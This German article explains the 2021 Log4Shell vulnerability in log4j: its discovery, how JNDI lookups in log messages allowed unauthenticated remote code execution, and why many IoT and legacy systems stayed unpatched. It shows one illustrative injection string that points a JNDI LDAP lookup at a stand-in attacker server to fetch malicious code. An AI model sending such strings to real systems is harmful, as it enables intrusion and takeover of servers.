Log4Shell

Systemzugriff über verschlungene Pfade

Wie schon erwähnt war 2021 ein turbulentes Jahr. Kaum hatte sich die IT-Welt ein wenig von Hafnium erholt, platzte die nächste Sicherheitslücke herein, die das Potenzial hatte, größten Schaden anzurichten. Sie wurde unter dem Namen Log4Shell bekannt und der Name lässt Böses erahnen. Kurz gesagt ermöglichte sie die Ausführung von Befehlen auf Systemen, die nicht einmal direkt erreichbar sein mussten. Ein vermeintlich harmlos aussehender Aufruf eines Webservices genügte oft.

Tag 0

Log4Shell war eine sogenannte Zero-Day-Schwachstelle (0-day), also eine Schwachstelle, die bekannt wurde, bevor sie gepatcht werden konnte. Sie wurde am 24.11.2021 von dem Security Team von “Alibaba Cloud”, einer Tochterfirma des chinesischen Konzerns Alibaba, entdeckt und an Apache, die für log4j verantwortliche Organisation, gemeldet. Zwei Wochen später, am 09.12.2021, veröffentlichte der Nutzer tangxiaofeng7 auf Github einen PoC (Proof of Concept, ein lauffähiges Programm, um die Existenz der Schwachstelle zu belegen). Dass Schwachstellen veröffentlicht werden, bevor sie behoben wurden, wird in der IT Security-Community mindestens als schlechter Stil und in der Regel als Verstoß gegen diverse Verhaltensregeln wahrgenommen. Kommt es trotzdem zu einer 0-day Veröffentlichung, ist schnelles Handeln angesagt. Das war bei Log4Shell ganz besonders wichtig, denn betroffen war die log4j-Bibliothek, die in zahllosen Java-Programmen zum Einsatz kommt - von IoT-Geräten bis zu Anwendungsservern.

Aufgefallen war die Schwachstelle übrigens im Spiel Minecraft. Ein Spieler hatte herausgefunden, dass er mit speziell formatierten Strings im Spielerchat den Server veranlassen konnte, untergeschobenen Code auf dem System des Betreibenden auszuführen.

Die Log4Shell-Anatomie

Die Sicherheitslücke selbst ist im Grunde schnell beschrieben: Die log4j-Bibliothek hatte in allen Versionen zwischen 2013 und 2021 einen bis dato unentdeckten Fehler in der Validierung von Zeichenketten, die in eine Logdatei geschrieben werden sollen. Dies erlaubte es, spezielle Zeichenketten in die Anfrage einzuschleusen, die von log4j nicht literal - also unverändert - ausgegeben werden, sondern vorher als Befehlssequenz interpretiert werden.

Im Fall von log4shell konnte in die Logmeldung ein JNDI-String eingebettet werden. JNDI (Java Naming and Directory Interface) ist eine Java-Komponente, die es erlaubt, andere Quellen (wie LDAP) abzufragen und die Antwort als Java-Objekt einzubetten. Gedacht ist diese Erweiterung, um beispielsweise inline sperrige System-Benutzerkontennamen wie “FS1337” in lesbare Namen wie “Folker Schmidt” umzuwandeln, ohne dafür jedes mal eigene Routinen schreiben zu müssen. Man lädt sie einfach nach. Ein Bequemlichkeits-Feature, das meiner Erfahrung nach selten und vor allem im Logging-Umfeld (für das log4j verwendet wird) so gut wie gar nicht zum Einsatz kommt. Doch irgendjemand hatte vor vielen Jahren entschlossen, dass dieses Feature in log4j seinen Platz hat (zum Beispiel, um das Logging on the fly anzupassen, ohne den Quellcode von log4j direkt anpassen zu müssen) und es implementiert.

Nun hatte nur niemand daran gedacht, dass jemand auf die Idee kommen konnte, einen entsprechend formatierten JNDI-String an Stellen zu platzieren, die üblicherweise auch in Logdateien weggeschrieben werden. Zum Beispiel in einem HTTP-Header. Es hatten auch die wenigsten Administratoren daran gedacht, die Server, auf denen die Java-Anwendungen und damit auch die log4j-Komponente laufen, so abzusichern, dass Aufrufe zu LDAP-Servern verboten sind, die sich außerhalb des eigenen Netzwerks befinden.

JNDI nach Hause telefonieren!

Bettete nun ein Angreifer etwas wie {$jndi:ldap://angreiferserver:389/schadcode} in einen HTTP-Header ein und schickte eine Anfrage an einen verwundbaren Webserver, interpretierte der den JNDI-String als Aufforderung, sich auf den angegebenen Server zu verbinden und den String mit dem zurückgegebenen Resultat zu ersetzen. Wer auf dem entsprechenden Server als Antwort eine .class-Datei hinterlegt hat, konnte in dieser nahezu beliebigen Schadcode platzieren, der dann im Kontext des Java-Programms ausgeführt wurde. Es war weder eine Anmeldung am verwundbaren System notwendig, noch weitere Maßnahmen: Wer sich eine Backdoor in die Datei geschrieben hatte, konnte das System dazu bringen, einen direkten Zugriff auf eine Shell zu gewähren. Eine erstklassige unauthenticated RCE (Remote Code Execution). Und da viele Tools der Bequemlichkeit halber (und um einfach an Schreibrechte für Logverzeichnisse zu kommen) als root/Administrator laufen, hatte man oft direkt vollen Systemzugriff.

Das gleichzeitig Spannende und auch Beängstigende an dieser Sicherheitslücke ist, dass nicht nur direkt aus dem Internet erreichbare Systeme betroffen sein konnten. Hatte man beispielsweise einen Webserver in der DMZ stehen, der seine Logdateien erst einmal lokal wegschrieb, und im internen Netzwerk einen Logging-Server auf Java-Basis, der diese dann einsammelte und auswertete, konnten die vergifteten Log-Einträge auch problemlos Systeme hinter etablierten Sicherheitsbarrieren erreichen. Vom Auskundschaften interner Netze über Manipulation von Daten (oder gar dem Ausrollen von Ransomware) bis hin zum Abfluss geschützter Daten war alles denkbar.

Viele Betroffene, wenig Auswirkung?

Bis auf ein paar bekannt gewordene Fälle (so wurden das Belgische Verteidigungsministerium und die Webseite des Bundesfinanzhofs auf diese Weise angegriffen, zudem liefen auf einigen Servern kurzzeitig fremdkontrollierte Krypto-Miner) geschah bis zur Verfügbarkeit der Patches ab dem 10.12.2021 eher wenig. Betroffen waren unter anderem viele der bekannten Cloud-Anbieter, die jedoch bereits vor der Verfügbarkeit der Patches in Eigenregie ihre Systeme so abdichteten, dass die Sicherheitslücke nicht ausgenutzt werden konnte. Auch einige andere Tech-Giganten beeilten sich, ihre Systeme abzusichern, bis wirksame Patches verfügbar waren.

Doch hunderttausende Systeme blieben weiterhin verwundbar. Gerade IoT-Geräte, die gerne auch mal offen im Internet erreichbar sind und nur selten oder gar nicht mit neuer Software betankt werden, blieben betroffen. Hierzu zählen unter anderem viele “smarte” Geräte wie Smart-TVs, Smarthome- und Industriesteuerungssysteme. Hinzu kommt, dass log4j von den Softwareanbietern selbst auf eine fehlerbereinigte Version aktualisiert und erneut in ihre Projekte eingebunden werden muss. Endanwender und selbst Administratoren haben in der Regel nur wenig Möglichkeiten, ihre Java-Anwendungen selbstständig auf einen aktuellen Stand zu patchen. Hinzu kommt, dass gerade bei embedded und IoT-Geräten kaum eine Möglichkeit besteht, sich zu vergewissern, dass auf dem System nichts verändert und ein Angreifer sich nicht für einen möglichen späteren Zeitpunkt eine Hintertür eingerichtet hat. Und mit “später” meine ich ggf. Jahre, nicht Wochen.

Dunkelziffern und schlafender Code

Wie viele Systeme heute noch verwundbar sind lässt sich schwer sagen. Von aktuell verfügbarer Software, die log4j einsetzt, ist auch heute (Stand Ende 2023) noch gut ein Drittel verwundbar, da die entsprechenden Bibliotheken nicht auf den neuesten Stand gebracht wurden. Der Großteil dieser Software setzt dabei die Version 1.2.x von log4j ein, die bereits 2015 ihr letztes Update erhalten hat und damit inzwischen bald 10 Jahre EOL (end of life) ist. Die Entwickler scheint’s derweil nicht zu stören.

Und auch wie viele Systeme still vor sich hinschlummern, die infiziert wurden, bevor sie einen Patch (wenn überhaupt) erhielten, ist unbekannt. Viele Experten gingen zu Log4Shell-Hochzeiten davon aus, dass nach einigen Monaten Ruhe viele Auffälligkeiten zutage treten dürften, die auf reaktivierte Systeme zurückzuführen sind. Bisher ist davon nichts, zumindest nichts, was öffentlich bekannt geworden wäre. Doch wenn man sich die Zeit anschaut, die sich einige Kriminelle nehmen, möchte ich an dieser Stelle nicht ausschließen, dass uns in Zukunft noch die eine oder andere Überraschung mit Bezug auf Log4Shell erwartet.